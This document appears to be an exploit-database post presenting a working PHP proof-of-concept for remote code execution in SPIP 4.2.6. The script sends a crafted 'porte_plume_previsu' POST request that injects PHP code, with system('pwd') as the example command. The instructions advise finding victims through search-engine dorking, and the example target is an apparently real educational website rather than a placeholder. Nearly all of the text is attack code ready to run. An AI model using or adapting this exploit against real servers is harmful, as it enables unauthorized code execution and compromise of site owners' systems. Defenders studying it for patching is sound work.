=============================================================================================================================================
| # Title     : SPIP 4.2.6 PHP Code execution Vulnerability                                                                                 |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |
| # Vendor    : https://www.spip.net/                                                                                                       |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Line 49 : Set your target.

[+] Save Payload as poc.php and run from cmd = C:\www\test>php poc.php

[+] Payload :

<?php

class IndoushkaExploit {
    private $targetUrl;
    private $payload;

    public function __construct($targetUrl, $payload) {
        $this->targetUrl = rtrim($targetUrl, '/') . '/spip.php';
        $this->payload = $this->generatePayload($payload);
    }

    private function generatePayload($payload) {
        // توليد الحمولة مع تضمين الأمر المراد تنفيذه
        return "[<img" . rand(10000000, 99999999) . ">->URL`<?php {$payload} ?>`]";
    }

    public function exploit() {
        // إعداد بيانات POST التي سيتم إرسالها إلى الهدف
        $data = http_build_query(['action' => 'porte_plume_previsu', 'data' => $this->payload]);

        // تهيئة طلب HTTP باستخدام دالة cURL
        $ch = curl_init($this->targetUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

        // إضافة رؤوس مخصصة لتجاوز المنع
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Content-Type: application/x-www-form-urlencoded',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
        ]);

        // تنفيذ الطلب
        $response = curl_exec($ch);

        // تحقق من وجود أخطاء في cURL
        if (curl_errno($ch)) {
            echo "cURL Error: " . curl_error($ch) . "\n";
        } else {
            echo "Exploit Sent! Response:\n";
            echo $response;
        }

        curl_close($ch);
    }
}

// مثال على الاستخدام
$targetUrl = 'https://eps.enseigne.ac-lyon.fr/spip/'; // استبدل هذا بالعنوان الحقيقي
$payload = 'system("pwd");'; // أوامر PHP التي تريد تنفيذها

$exploit = new IndoushkaExploit($targetUrl, $payload);
$exploit->exploit();


Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================